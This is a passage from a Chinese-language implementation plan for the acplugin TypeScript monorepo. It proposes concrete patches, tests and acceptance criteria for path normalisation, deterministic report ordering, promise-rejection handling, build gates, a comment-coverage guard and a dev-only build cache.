reportCompatibility 触发条件读偏,精确 toEqual 会红——已逐行核对四份 components.ts,置信度高,但落地时应先跑一次打印 result.compatibility 校准再锁数组。②pi (B) 若同一 crafted manifest 同时缺 pi 对象会提前 return(validator.ts:101-104)错过 workspace 检查——务必给合法 pi:{} 与 keywords:['pi-package']。③各平台现有 resolvedConfig 是 strict 默认(未显式);新增 relaxed 变体不要改动原 happy-path 用例的严格语义。 - - ---- - -### P8 · scanner Public targetPath 反斜杠归一化两层统一,与 config.ts 对齐 - -**决策:** 把 collectPublicTree 与 finalizePublicFiles 的 targetPath 归一化从 split(path.sep).join('/') 改为 split(/[\\/]/).join('/'),两层统一并与 config.ts:248 的 split(/[\\/]/) 对齐,在空/绝对/.. 与冲突键计算之前完成。 - -**现状(锚点):** packages/core/src/scanner.ts:895 (collectPublicTree 文件分支) 返回 `targetPath: target.split(path.sep).join('/')`;scanner.ts:926 (finalizePublicFiles) `const targetPath = file.targetPath.split(path.sep).join('/').replace(/^\.\//, '')`,随后 927 做 空/绝对/.. 检查、934 计算折叠冲突键。参照 config.ts:248 `rule.from.split(/[\\/]/).includes('..')` 用的是双分隔符正则。POSIX 上 path.sep==='/',split(path.sep) 不会切分反斜杠:一个合法(不含 ..、非绝对、能通过 config.ts:248 校验)的 copy 规则 `to: 'sub\\dir'` 经 path.join 递归后,在 POSIX 产出 targetPath `sub\dir/entry`(反斜杠原样保留),而 Windows(path.sep==='\\')产出 `sub/dir/entry` —— 同一工程字节在不同宿主 OS 产出不同 Artifact 路径,违反 §18 确定性。 - -**具体改动:** - -两处同样改法(注意是 join('/') 正斜杠,不是空串——防止照抄方案里的 .join("") 笔误): - -scanner.ts:895 -- `return [{ sourcePath: source, targetPath: target.split(path.sep).join('/'), mode: modeFromStat(stat.mode) }];` -+ `return [{ sourcePath: source, targetPath: target.split(/[\\/]/).join('/'), mode: modeFromStat(stat.mode) }];` - -scanner.ts:926 -- `const targetPath = file.targetPath.split(path.sep).join('/').replace(/^\.\//, '');` -+ `const targetPath = file.targetPath.split(/[\\/]/).join('/').replace(/^\.\//, '');` - -严格说只有 926(finalize)是承载检查/冲突键的那层,是必须改的;895 一并改是为方案要求的“两层统一”,避免中间表示夹带反斜杠段。归一化顺序无需调整:926 已在 927 的检查之前完成,仅换正则。 - -**边界与连带:** 确定性:此改动是修 §18 而非引入风险——把 backslash 的宿主差异消除,POSIX/Windows 都产出 `/` 分隔的稳定路径;不引入 timestamp/绝对路径/随机。安全:config.ts:448 在 hasErrors 时提前返回,含 `..` 的反斜杠 copy 规则其实在 config 阶段(CONFIG_PUBLIC_RULE_ESCAPE)已被拦,scanner 收不到,所以本项主线价值是跨平台确定性,`..` 一致性是与 config 的纵深防御。`.replace(/^\.\//,'')` 仍在 split+join 之后:前导 `.\` 会先被规范成 `./` 再被剥掉。默认整目录分支 target 从 '' 起、段来自 fs.readdir 不含分隔符,不受影响。无其它调用点:这两行是唯二做 targetPath 分隔符归一化的地方。 - -**测试:** packages/core/test/scanner.test.ts 新增一例(沿用 temporaryProject/projectConfig/scanProject 脚手架): -``` -it('normalizes backslash Public targets to stable POSIX paths', async () => { - const root = await temporaryProject(); - await fs.mkdir(path.join(root, 'public'), { recursive: true }); - await fs.writeFile(path.join(root, 'public/file.txt'), 'x'); - const diagnostics = new DiagnosticCollector(); - const { project } = await scanProject( - projectConfig(root, { public: { copy: [{ from: 'file.txt', to: 'a\\\\b\\\\c.txt' }] } }), - diagnostics, - ); - expect(diagnostics.diagnostics).toEqual([]); - expect(project.publicFiles.map(f => f.targetPath)).toEqual(['a/b/c.txt']); -}); -``` -断言 targetPath === 'a/b/c.txt'(宿主无关);修复前 POSIX 上会是 'a\\b\\c.txt'。config.ts:248 已确认 `to: 'a\\b\\c.txt'` 合法(非绝对、split(/[\\/]/) 无 '..')。 - -**验收:** 1) 新测试通过,targetPath 为 'a/b/c.txt';2) 现有 scanner.test.ts 全绿(默认目录/collision 用例不变);3) grep 确认仓库内不再有 `targetPath.split(path.sep)` 残留;4) 与 config.ts:248 正则一致。 - -**工作量:** S | **独立分支:** 否 | **风险:** 唯一坑是照抄方案里的 `.join("")` 笔误——必须 `.join('/')`。否则无风险。 - - ---- - -### P9 · report items[] 按稳定键 (kind → id → source) 排序 - -**决策:** 构建 MigrationReport 前对聚合的 items[] 按 (kind, id, source) 三级稳定键排序,不改任何扫描器行为、不改字段内容,仅使报告数组顺序确定。 - -**现状(锚点):** items[] 在 migrate() 内按阶段/扫描顺序 push:marketplace item(:1581)、每工程 writeCanonicalProject 返回的 items(:1600-1608 --all / :1616 / :1626);工程内顺序为 metadata(:1247)→skills→commands→agents(Promise.all 前 push,:1352-1358)→instructions(:1360-1369)→mcp(:1373-1417)→hooks(:1419-1432)→plugin-files(:1434-1441)。report 对象在 index.ts:1635-1638 组装,items 直接引用累计数组,顺序即 push 顺序,受 scan 顺序(readdir 非确定)影响。stableJson 只排对象键,不排数组元素,故 report.json 中 items 顺序当前不确定。 - -**具体改动:** - -在 index.ts 组装 report 前(:1634 注释行之前、:1635 之上)插入一次稳定排序,写回新数组: -``` -// items 顺序不得依赖扫描器 readdir 顺序;按 (kind,id,source) 稳定排序保证报告确定性。 -const sortedItems = [...items].sort((a, b) => - a.kind.localeCompare(b.kind, 'en') - || a.id.localeCompare(b.id, 'en') - || (a.source ?? '').localeCompare(b.source ?? '', 'en')); -``` -把 report 字面量(:1636)的 `items` 改为 `items: sortedItems,`。其余不动。可选:抽成 module 级纯函数 `sortMigrationItems(items)` 便于单测直接调用,但内联足够(YAGNI)。fields 内部顺序保持不变(字段报告有其自身语义顺序,且各处 Object.keys 已 localeCompare 排序,无需再动)。 - -**边界与连带:** id 可能重复(P3 消歧后应唯一;未做 P3 时同 kind 可能同 id)——加 source 作三级键可稳定区分绝大多数;若 kind+id+source 仍相同(理论上同一资源不会),排序稳定回退到 Array.sort 稳定性(Node 保证),无害。source 对聚合类 item(marketplace/metadata 用 '.'、hook-file 用相对路径)均有值或用 ?? '' 兜底,不会 throw。localeCompare('en') 与仓库既有排序一致,跨平台稳定。不触碰扫描器、不引入 Core 内部依赖(纯字符串比较),满足隔离子系统只用公开 API 约束。与 P3 协同:P3 已排序 scan 集合,P9 再对最终 items 排序是幂等叠加,二者独立成立。 - -**测试:** 文件: packages/test/test/migration.test.ts。 -新增用例 'orders report items by stable (kind,id,source) key':造含多类资源(≥2 skills 乱序名、1 command、1 agent、1 instruction)的 legacy project,迁移后断言 report.items 的 (kind,id) 序列等于按键排序后的期望序列: -``` -const keys = report.items.map(i => `${i.kind}:${i.id}`); -expect(keys).toEqual([...keys].sort((a,b)=>a.localeCompare(b,'en'))); -``` -更强的确定性断言:对同一 fixture 迁移两次(不同 destination),断言两次 report.items 的 (kind,id,source) 序列完全一致。也可在现有 'preserves Command, Skill, Agent, metadata...' 用例(:287)末尾追加一行断言 items 已排序,复用其丰富资源集,避免新建大 fixture。 - -**验收:** report.items 始终按 (kind,id,source) 升序;相同输入的两次迁移产生逐元素一致的 items 数组(且 report.json 字节一致)。扫描器输出、字段内容、成功/失败判定、各资源 destination 均不变。现有 migration 测试全部通过(现有断言用 toContainEqual/arrayContaining,不依赖顺序,不受影响)。 - -**工作量:** S | **独立分支:** 否 | **风险:** none — 纯数组重排,现有断言均为顺序无关(toContainEqual/arrayContaining/toMatchObject),无回归风险。可与 P3 同分支提交(同文件、同确定性主题)。 - - ---- - -### P10 · pendingArtifacts 用 try/finally + Promise.allSettled 兜底,消除 apply 抛错时的未处理 rejection 窗口 - -**决策:** 把 `adapter.apply` 与 `Promise.all(pendingArtifacts)` 包进 try,在 finally 里 `await Promise.allSettled(pendingArtifacts)`,保证无论 apply 如何退出每个 emit promise 都被观察;Promise.all 仍负责把首个 rejection 作为构建失败向上抛。 - -**现状(锚点):** packages/core/src/lifecycle.ts:556-580。Adapter 上下文的 emitArtifact 回调(:569-571)把 `draft.emitArtifact(...)` 返回的 promise `push` 进 `pendingArtifacts`(:557 声明),自身不 await。随后 :579-580:`await adapter.apply(context, extensionRuntime.built as never); await Promise.all(pendingArtifacts);`。若 apply 抛错(或某个 emit 先 reject 让 Promise.all 提前 reject),其余已在途的 emit promise 无人 await——形成未处理 rejection 窗口。该块整体位于平台生成 try/catch(:517-680)内,任何抛错会被 :675 捕获成 PLATFORM_GENERATION_FAILED + removePlatform。 - -**具体改动:** - -仅改 :579-580: -``` -- await adapter.apply(context, extensionRuntime.built as never); -- await Promise.all(pendingArtifacts); -+ try { -+ await adapter.apply(context, extensionRuntime.built as never); -+ await Promise.all(pendingArtifacts); -+ } finally { -+ // 无论 apply 如何退出,都观察每个 emit promise,消除未处理 rejection 窗口。 -+ await Promise.allSettled(pendingArtifacts); -+ } -``` -保持 12 空格缩进,置于 for-each extensionRuntime 循环体内。 - -**边界与连带:** 1) 成功路径行为不变:apply await 返回后 pendingArtifacts 已定型(apply 返回后 context 不再被使用,不会再 push),Promise.all 已 await 全部,finally 的 allSettled 只是对已 settled promise 再 await,零副作用。2) 失败路径:Promise.all 仍在 try 内 reject/抛出,驱动平台失败(PLATFORM_GENERATION_FAILED),finally 的 allSettled 只负责“观察”其余 rejection(附加 handler),不会吞掉原始错误(finally 不 return);allSettled 自身永不 reject。3) 确定性零影响:artifacts.ts:124 的 `artifacts` getter 按 path localeCompare 排序输出,产物顺序与 promise 结算顺序无关;且失败平台会被 removePlatform 丢弃。4) 不改契约、不改 emitArtifact 签名、不新增依赖。 - -**测试:** packages/core/test/lifecycle.test.ts 新增(os/path 已导入): -``` -it('observes every emitted Artifact promise even when an Adapter throws before awaiting them', async () => { - const unhandled: unknown[] = []; - const onUnhandled = (reason: unknown): void => { unhandled.push(reason); }; - process.on('unhandledRejection', onUnhandled); - try { - const platform = definePlatform({ id: 'leak-platform', apiVersion: '1', deliveryType: 'plugin', - prepare: () => ({ documents: [], artifacts: [] }), - generateBundle: () => ({ id: 'plugin', role: 'primary', type: 'plugin', artifacts: [] }), - validateBundle: () => undefined }); - const leaky = defineExtension({ name: 'leaky-extension', apiVersion: '1', - discover: () => ({ enabled: true }), - adapters: [{ extensionApiVersion: '1', platform: 'leak-platform', platformApiVersion: '1', - apply(context) { - // 校验阶段必然 reject 的 emit(来源既越权又不存在),随后 apply 在 Promise.all 之前抛错 - context.emitArtifact({ path: 'orphan.txt', source: { type: 'file', path: path.join(os.tmpdir(), 'acplugin-never-exists-xyz') } }); - throw new Error('adapter throws before Promise.all'); - } }] }); - const root = await temporaryRoot(); - const result = await executeLifecycle({ config: lifecycleConfig(root, 'validate', [platform], [leaky]), loadTypeScriptModule: async () => undefined, environment: {} }); - await new Promise(resolve => setTimeout(resolve, 0)); // 冲刷微/宏任务,让漏掉的 rejection 有机会触发 - expect(result.success).toBe(false); - expect(result.diagnostics).toContainEqual(expect.objectContaining({ code: 'PLATFORM_GENERATION_FAILED', platform: 'leak-platform' })); - expect(unhandled).toEqual([]); // 修复前此断言失败:orphan promise 未被观察 - } finally { process.off('unhandledRejection', onUnhandled); } -}); -``` -该用例的鉴别力:旧代码 apply 抛错后从不 await Promise.all,orphan emit promise 无 handler → unhandledRejection 触发,`unhandled` 非空;新代码 finally 的 allSettled 在 executeLifecycle resolve 前就观察了它,`unhandled` 为空。 - -**验收:** pnpm -C packages/core test 通过;新用例在打了本补丁时绿、回退补丁时红(unhandled 非空)。既有 lifecycle 成功/失败用例产物顺序与断言不变。 - -**工作量:** S | **独立分支:** 否 | **风险:** none(纯兜底观察,不改成功/失败语义与产物;唯一新增测试依赖 process 级 unhandledRejection 监听 + 一个 setTimeout(0) 冲刷,属常见可靠模式)。 - - ---- - -### P11 · 两 Extension 包加 publint+attw(对齐主包)+ tsconfig.base 开 isolatedDeclarations - -**决策:** ① hooks/mcp 两个 tsdown.config.ts 各加 `publint: true` 与 `attw: { profile: 'esm-only', level: 'error' }`,与主包 packages/acplugin/tsdown.config.ts:22-23 完全一致;② tsconfig.base.json 开 `isolatedDeclarations: true`,并【必须同时】加 `declaration: true`(否则 TS5069),noEmit:true 已在,保持只检查不产出。两包代码经实测已 ID-clean,无需补类型标注。 - -**现状(锚点):** 已 Read 并实测。 -- packages/extensions/hooks/tsdown.config.ts:4-13,末尾 `sourcemap: false,` 后直接是 `deps: { neverBundle: ['@tokenroll/acplugin'] },`,无 publint/attw。 -- packages/extensions/mcp/tsdown.config.ts:5-17,同样 `sourcemap: false,` 后接 `deps: { neverBundle: [...] },`,无 publint/attw。 -- 参照物(已正确):packages/acplugin/tsdown.config.ts:22-23 = `publint: true,` + `attw: { profile: 'esm-only', level: 'error' },`。 -- tsconfig.base.json:26-33 现有 strict/noUncheckedIndexedAccess/exactOptionalPropertyTypes/verbatimModuleSyntax/isolatedModules/resolveJsonModule/skipLibCheck/noEmit,无 declaration、无 isolatedDeclarations。所有包 tsconfig 均 extends base 且 include `src/**/*.ts`+`test/**/*.ts`(core/6平台/hooks/mcp/acplugin/test 均已确认)。 - -**具体改动:** - -# packages/extensions/hooks/tsdown.config.ts —— sourcemap 行后插 2 行 - sourcemap: false, -+ publint: true, -+ attw: { profile: 'esm-only', level: 'error' }, - deps: { neverBundle: ['@tokenroll/acplugin'] }, - -# packages/extensions/mcp/tsdown.config.ts —— 同样插 2 行 - sourcemap: false, -+ publint: true, -+ attw: { profile: 'esm-only', level: 'error' }, - deps: { neverBundle: ['@tokenroll/acplugin'] }, - -# tsconfig.base.json —— 在 isolatedModules 后插 2 行(位置任意,放此处最贴切) - "isolatedModules": true, -+ "declaration": true, -+ "isolatedDeclarations": true, - "resolveJsonModule": true, - -代码改动:无。实测两包 src+test 已 ID-clean(见 tests),不需要任何显式返回类型标注。 - -**边界与连带:** 全部经真实工具链(tsdown v0.22.14 / tsc v7.0.2)实测: -1) 【已验证 attw profile 必须 esm-only】默认/strict profile 对两包报 `❌ No resolution (node10)` + `⚡ CJS resolves to ESM (node16-cjs)`;换 `profile:'esm-only'` 后两包均 `[attw] No problems found`、`[publint] No issues found`、build exit 0。原因:两包是纯 ESM(type:module、exports 仅 import 条件),esm-only 正是为此设计,忽略 node10/CJS 类问题 —— 与主包同款,故 level:'error' 安全。 -2) 【已验证 isolatedDeclarations 需 declaration】单开 isolatedDeclarations 直接 `error TS5069: … cannot be specified without … 'declaration' or … 'composite'`。故必须同时加 declaration:true。 -3) 【已验证 declaration+noEmit 只检查不产出】11 个 tsconfig 全跑 `tsc -p … --isolatedDeclarations --declaration` 均 exit 0,且 src 下无任何 .d.ts 落地(noEmit:true 生效)。 -4) 【已验证全仓 ID-clean】core/hooks/mcp/acplugin/6平台/test 共 11 个 tsconfig 全部 exit 0 —— 与全包已用 `dts:{generator:'oxc'}` 一致(oxc dts 本就要求 isolated-declarations 可发射)。所以本项对 src 零改动。 -5) 确定性:isolatedDeclarations 只影响 `tsc` 类型检查,tsdown 构建走 oxc 自己的 dts 管线,不读 tsconfig.declaration → dist 字节不变;attw/publint 是构建期 pass/fail 门禁,输出无 timestamp/路径,不进产物。 -6) 主包已带这两门禁,base 全局开 isolatedDeclarations 是把『oxc-dts 可发射性』升级为 typecheck 层强制(纵深防御),无其它配置连带。 -7) 应对(仅备用,当前用不到):若未来某文件不 ID-clean,tsc 会指名报 TS9xxx,最小修法是给该导出符号补显式返回类型/`satisfies`,不要退回全文件 any。 - -**测试:** 不新增 Vitest —— 门禁本身即测试(回归即构建失败)。验收用命令断言: -- `pnpm --filter @tokenroll/acplugin-extension-hooks run build` 与 `… -mcp run build` 输出含 `[attw] No problems found` + `[publint] No issues found`,exit 0。 -- `pnpm -w run typecheck` 在 base 开 isolatedDeclarations+declaration 后全绿(覆盖 11 包 src+test)。 -- 确定性:改前改后各跑一次 `pnpm -w run build`,`git status packages/*/dist` 无字节差异(证明 tsconfig 改动不影响产物)。 - -**验收:** 两扩展 build 均 attw(esm-only)+publint 绿;pnpm typecheck 全仓绿(含 declaration+isolatedDeclarations);pnpm build 产物字节与改动前一致;两 tsdown.config 的新增行与主包逐字一致。 - -**工作量:** S | **独立分支:** 否 | **风险:** none(三项改动均已用真实 tsdown/tsc 实测通过;唯一强约束是 declaration:true 必须与 isolatedDeclarations 同时加,方案已含)。 - - ---- - -### P13 · 注释守卫防漂移:check-comments 增加生产 src glob,未登记文件即失败 - -**决策:** check-comments.mjs 递归收集 packages/*/src/**/*.ts,凡不在 comment-coverage.json.enforcedFiles 的生产源码文件即报错退出,防止新增源码文件绕过中文注释守卫。用 stdlib 递归 readdir(不用 fs.globSync,兼容 engines>=20)。 - -**现状(锚点):** scripts/check-comments.mjs:135-146 main() 只遍历 coverage.enforcedFiles 做缺失注释检查,不校验是否有生产源码文件遗漏登记 —— 新加的 src 文件不进 enforcedFiles 就永远不被守卫,产生静默漂移。package.json engines.node='>=20';fs.globSync 直到 Node 22 才可用,不能依赖(当前机器 v22 但 CI/协作者可能 20)。已核实当前 packages/*/src/**/*.ts 共 32 个、0 个未登记,故引入该 gate 不会立即误红。 - -**具体改动:** - -check-comments.mjs:第 1 行 import 增加 readdirSync: -`import { readFileSync, readdirSync } from 'node:fs';` -新增两个纯函数: -``` -/** 递归收集一个目录下的全部生产 TypeScript 源文件。 */ -function collectSources(directory) { - const files = []; - for (const entry of readdirSync(directory, { withFileTypes: true }).sort((a, b) => a.name.localeCompare(b.name, 'en'))) { - const full = path.join(directory, entry.name); - if (entry.isDirectory()) files.push(...collectSources(full)); - else if (entry.isFile() && entry.name.endsWith('.ts') && !entry.name.endsWith('.d.ts')) files.push(full); - } - return files; -} -/** 收集所有 packages/*/src 下的生产源码,路径规范化以便与 enforcedFiles 比对。 */ -function productionSources() { - const result = []; - for (const pkg of readdirSync('packages', { withFileTypes: true })) { - if (!pkg.isDirectory()) continue; - try { result.push(...collectSources(path.join('packages', pkg.name, 'src'))); } - catch (error) { if (error.code !== 'ENOENT') throw error; } - } - return result.map(file => path.normalize(file)); -} -``` -main() 在读 coverage 之后、缺失注释检查之前插入漂移 gate: -``` - const enforced = new Set(coverage.enforcedFiles.map(file => path.normalize(file))); - const uncovered = productionSources().filter(file => !enforced.has(file)); - if (uncovered.length > 0) { - process.stderr.write(`以下生产源码未纳入注释守卫覆盖范围:\n${uncovered.map(item => `- ${item}`).join('\n')}\n`); - process.exitCode = 1; - return; - } -``` - -**边界与连带:** 确定性:collectSources 对目录项 localeCompare 排序,输出稳定;路径统一 path.normalize 与 enforcedFiles(仓库根相对)比对——脚本本就假定 cwd=仓库根(COVERAGE_FILE='scripts/comment-coverage.json' 直接相对读取),npm script `comments:check` 从根运行,一致。范围仅生产 src(排除 .d.ts、dist、test/;packages/test 无 src 目录故其测试文件不被强制)。ENOENT(无 src 的包)吞掉。不改反向检查(enforcedFiles 里已删文件的陈旧项)——超出本项范围,且 missingComments 遇 ENOENT 本会抛,另议。当前 0 未登记,引入即绿。 - -**测试:** 该脚本无 vitest 宿主,采用最小可运行验收(ponytail 式 smallest check),写入 CI/手册: -1) 在 packages/core/src 放临时探针 `__drift_probe.ts`(不加入 enforcedFiles)→ `node scripts/check-comments.mjs`(或 pnpm comments:check)→ 断言退出码 1 且 stderr 含 'packages/core/src/__drift_probe.ts';删探针 → 退出码 0。 -2) 回归:未加探针时 `pnpm comments:check` 仍打印 `中文注释守卫已覆盖 N 个文件。` 且退出 0。 -可选:若要 CI 固化,加一个 node:test `scripts/check-comments.test.mjs` 只测 productionSources()/uncovered 计算(需先把这两函数 export);当前 YAGNI,不强制。 - -**验收:** 1) 存在任一 packages/*/src/**/*.ts(非 .d.ts)未登记 enforcedFiles 时 comments:check 非零退出并列出该文件;2) 全登记时行为与现状一致(打印覆盖数、退出 0);3) 不依赖 fs.globSync,Node 20 可运行;4) 现有 lint 流水线全绿。 - -**工作量:** S | **独立分支:** 否 | **风险:** none —— 已核实当前无未登记文件,不会引入误红;若将来有意保留某 src 文件不登记,需在脚本加显式白名单(当前无此需求,YAGNI)。 - - ---- -## S3 — 架构级(dev 缓存 + utils 去重) - -### P14 · dev 增量缓存:Core 层通用记忆化(dev-only,内存跨 rebuild) - -**决策:** 在 executeProject 之上包一层进程内缓存(NOT 在 executeLifecycle 内),粒度=整条 project 执行(输入指纹→上次 ProjectExecution),存储=内存 Map(跨 chokidar rebuild,不落磁盘),仅 command==='dev' 生效;key = stableJson(所有 component body+sourcePath+mode + publicFiles 内容 hash + 冻结 config 快照 + lifecycleWatchFiles 内容 hash + LIFECYCLE_API_VERSION + ACPLUGIN_VERSION + node major)。命中即跳过 executeLifecycle 直接复用上次 result/watchPaths;不进 dist 因为命中时根本不重新 commit(上次已 commit 且字节相同)。build 路径完全不接缓存。 - -**现状(锚点):** 生命周期入口 packages/core/src/lifecycle.ts:218 executeLifecycle:每次运行 fs.mkdtemp 建 runtimeRoot(:222),结束 finally fs.rm(runtimeRoot)(:728) —— 所有 workDir 及其中 file-source artifact 每轮销毁。extension build 单次运行内复用雏形在 lifecycle.ts:485 `runtime.built = await runtime.extension.build?(...)`,build 只调一次,:579 各 platform adapter 复用同一 built;这是【单运行内】复用,无跨运行缓存。CLI dev 重建入口:packages/acplugin/src/cli.ts:378 performRebuild → executeProject;每次文件变更经 cli.ts:326 scheduleRebuild(50ms 防抖)→ rebuild()→ runRebuildQueue()→ performRebuild()。executeProject 在 packages/acplugin/src/run-project.ts:44,内部 run-project.ts:98 executeLifecycle 一次,收集 lifecycleWatchFiles(:103 onWatchFile),返回 ProjectExecution{result,projectRoot,outDir,watchPaths,dependencyRoots}(:124)。关键现实核对(与方案措辞不符,必须按真实源码设计):(1) scanner【未】给 component 附 SHA-256 —— grep 确认 sha256 只在 types.ts:291/318 的 Artifact/ArtifactReport 上,由 ArtifactRegistry 后期计算(artifacts.ts:42 hashFile);PluginProject.commands/skills/agents(types.ts:98-152)只带 body(已读入内存的文件内容)+sourcePath,publicFiles(types.ts:158)只带 sourcePath。故 L1 指纹必须由缓存层【自己算】,body 就是天然内容源,publicFiles 需读盘 hash。(2) 平台无 per-package semver:contracts.ts:15 LIFECYCLE_API_VERSION='1' 是唯一常量,platform/extension 只带 apiVersion。工具版本只能取 ACPLUGIN_VERSION + process.versions.node major。tsdown/rolldown 版本 core 未 import,见下 risks。(3) config 快照可 hash:run-project.ts:50 config:ResolvedConfig(types.ts:253)含 root/command/mode/metadata/srcDir/public/platforms/extensions/outDir/strict。 - -**具体改动:** - -只加一个薄缓存层,不动 executeLifecycle 内部(§18 build 语义不能碰)。 - -【新增文件】packages/acplugin/src/dev-cache.ts(放 acplugin 主包而非 core:key 需 ACPLUGIN_VERSION,且 executeProject 就在主包;Core 不该知道 dev-watch 存储策略): -```ts -import { createHash } from 'node:crypto'; -import { promises as fs } from 'node:fs'; -import process from 'node:process'; -import { stableJson, LIFECYCLE_API_VERSION, type ResolvedConfig } from '@acplugin/core'; -import { ACPLUGIN_VERSION } from './index.js'; -import type { ProjectExecution } from './run-project.js'; - -// ponytail: 进程内单例 Map,dev 进程生命周期即缓存生命周期;不落盘 => 天然不进 dist,进程退出即清。 -const cache = new Map(); - -async function sha256File(file: string): Promise { - try { return createHash('sha256').update(await fs.readFile(file)).digest('hex'); } - catch { return 'ENOENT'; } // 缺失文件参与 key => 下轮存在时 key 变、自然失效 -} - -// 只 hash 与产物字节相关的输入:component body(已在内存)、public 文件内容、 -// extension bundler 实际读到的模块图(lifecycleWatchFiles)、冻结 config、工具版本。 -export async function computeCacheKey( - config: ResolvedConfig, - watchedModuleFiles: readonly string[], -): Promise { - const project = /* 见下:需要 body。见 risks:executeProject 目前不返回 project */; - const publicHashes = await Promise.all(config.public.enabled ? [] : []); // 见 changes 下方 - const fingerprint = { - apiVersion: LIFECYCLE_API_VERSION, - tool: ACPLUGIN_VERSION, - node: process.versions.node.split('.')[0], - command: config.command, mode: config.mode, - config: { srcDir: config.srcDir, strict: config.strict, outDir: config.outDir, - metadata: config.metadata, public: config.public, - platforms: config.platforms.map(p => ({ id: p.platform.id, api: p.platform.apiVersion, - delivery: p.platform.deliveryType, strict: p.strict, options: p.platform.options })), - extensions: config.extensions.map(e => ({ name: e.name, api: e.apiVersion })) }, - modules: /* [path, sha256File(path)] 排序后数组 */, - components: /* 见 risks: 需拿到 project 的 body/sourcePath/mode */, - }; - return createHash('sha256').update(stableJson(fingerprint)).digest('hex'); -} - -export function getCached(key: string): ProjectExecution | undefined { return cache.get(key); } -export function setCached(key: string, value: ProjectExecution): void { - if (cache.size > 8) cache.clear(); // ponytail: dev 单工程,>8 key 只可能是长会话漂移,整体清比 LRU 省 - cache.set(key, value); -} -``` - -【改 run-project.ts】把缓存作为 executeProject 的一层壳。有两个可行接法,取【壳法】(改动最小、不污染 build 路径): -1. 抽出现有 executeProject 主体为不带缓存的 `runProjectExecution(options)`(直接把当前 44-124 行原样改名)。 -2. 新 executeProject 包壳: -```ts -export async function executeProject(options: RunProjectOptions): Promise { - if (options.command !== 'dev') return runProjectExecution(options); // build/validate/inspect 零缓存 - // dev:先 loadProjectConfig 拿 config + 先跑一次拿到 project+watchedModuleFiles 才能算 key —— 见 risks 的鸡生蛋。 - // 采用【运行后写、运行前查】需要在不执行 lifecycle 的情况下先得到指纹输入。 - // 落地方案见 edgeCases「指纹输入来源」。 -} -``` - -【run-project.ts 需要新增返回 project】:computeCacheKey 需要 component body。ProjectExecution 当前不含 project。最小改动:executeLifecycle 已在内部 scanProject;但它不回传 project(只回 BuildResult)。选择【在缓存层独立 scanProject 一次算指纹】而不是改 executeLifecycle 签名 —— scanProject 是纯读、无副作用(scanner.ts:1183),dev 下多跑一次扫描成本可接受且不破坏 §18。即缓存层:loadProjectConfig → scanProject(config, throwaway DiagnosticCollector) 得 project.body → 若扫描有 error 则 key 不稳定,直接 fallback 到 runProjectExecution(不缓存)。 - -【public 文件 hash】config.public.enabled 时,glob/复制规则在 scanner 内已解析为 project.publicFiles(sourcePath),直接对每个 sourcePath sha256File。 - -【不进 dist 保证】命中路径【完全不调用 executeLifecycle】=> 不 mkdtemp、不 commit、不碰 outDir;上次 miss 时已 commit 且因 key 相同字节必然相同,dist 保持上次结果。这就是 dev-only 且不进稳定产物的物理保证。 - -**边界与连带:** 【指纹输入来源(核心坑)】key 需要 component body + extension 读到的模块图(lifecycleWatchFiles)。前者 scanProject 纯读可得;后者【只有跑完 lifecycle 才知道】(onWatchFile 在 build 阶段回调)。解法:两段式——(a) 用 scanProject 得到的 project.body + publicFiles hash + config + 工具版本算【源指纹 sourceKey】;(b) 模块图(node_modules 里的 extension handler)变化由 chokidar 的 dependencyRoots 监听已覆盖,其内容变化会触发 rebuild,但【不必进 key】——因为若 extension bundle 输入变了、chokidar 触发 rebuild、而 sourceKey 未变则会误命中。所以【模块图必须进 key】:改为缓存层在【首次 miss 执行后】用返回的 watchPaths∩(在 dependencyRoots 内的文件) 事后 hash 组成完整 key 存入;查时先算 sourceKey 找候选,再对候选记录的 moduleFiles 重新 hash 比对,任一变化即 miss。即缓存 value 附带 {moduleFileHashes},命中判定=sourceKey 命中 且 moduleFileHashes 全部逐一 re-hash 相等。这样避免鸡生蛋,且模块内容变化必然失效。 -【确定性/§18】缓存只影响 dev 且命中时产物字节与上次 commit 完全一致(key 覆盖全部产物决定因素),不引入 timestamp/绝对路径/随机:key 里 config.root/outDir 是绝对路径但只进 hash 不进产物,且 dev 本就机器本地,不影响稳定产物字节。build 路径 command!=='dev' 直接绕过,§18 事务全量提交语义零改动。 -【工具版本】ACPLUGIN_VERSION(index.ts 已导出)+ node major 足够触发跨版本失效;tsdown/rolldown 版本见 risks(用 lockfile hash 兜底)。 -【失效条件】任一 component body、public 内容、config 快照字段、任一 module 文件内容、ACPLUGIN_VERSION、node major、LIFECYCLE_API_VERSION 变化 → key 变 → miss。scan 出 error → 不缓存(fallback)。 -【连带改动】cli.ts 无需改(仍调 executeProject);run-project.ts export 需新增 runProjectExecution 供壳调用(或壳内联)。index.ts 无需导出 dev-cache(纯内部)。 -【跨平台】全部走 stableJson(键排序)+ crypto sha256,无路径分隔符进产物;sha256File 读字节不解码,不受行尾/编码影响。 -【connections】migrate/init 不经 executeProject,不受影响。 - -**测试:** 新增 packages/acplugin/test/dev-cache.test.ts(vitest),参照 lifecycle.test.ts 的 temporaryRoot 夹具与 config-loader.test.ts 的工程搭建风格。用例骨架: -1. hit: 同一工程连续两次 executeProject({command:'dev'}) —— 第二次命中,断言两次 result 深相等 且 executeLifecycle 只被调一次(spy/counter:在缓存层注入一个可观察计数,或断言 outDir 的 mtime 第二次未变作为「未重新 commit」证据)。 -2. miss-on-source: 两次之间修改一个 command .md body → 断言未命中(result 反映新内容,且发生了新 commit)。 -3. miss-on-tool-version: monkeypatch computeCacheKey 依赖的 ACPLUGIN_VERSION 或 process.versions.node → 断言 key 变、miss。用例通过导出 computeCacheKey 直接断言两组输入 key 不等,避免真的改进程版本。 -4. miss-on-module-change: extension handler 文件内容变更 → 断言 moduleFileHashes 比对失败 → miss。 -5. build-bypass: executeProject({command:'build'}) 两次 → 断言【从不】写入 cache(getCached 恒空),证明 build 不接缓存。 -6. not-in-dist: 命中后断言 outDir 内容与首次完全一致 且 无新增临时 acplugin-work-* 目录残留(命中不 mkdtemp)。 -关键断言点:computeCacheKey 是纯函数、同输入同 key、异输入异 key(直接单测最省)。副作用(executeLifecycle 调用次数)用注入计数器观察。 - -**验收:** 1. dev 下无源码/配置/工具/模块变化的连续 rebuild 第二次起命中,不重新执行 executeLifecycle、不重新 commit、不新建 acplugin-work-* 临时目录;2. 修改任一 component body/public 内容/config 字段/extension 模块内容/node major/ACPLUGIN_VERSION 均导致 miss 并产出与全量构建【逐字节相同】的结果;3. build/validate/inspect 完全不接触缓存(cache 恒空);4. 命中/失效均不改变 dist 字节(§18 稳定产物不受 dev 缓存影响);5. computeCacheKey 单测:同输入同 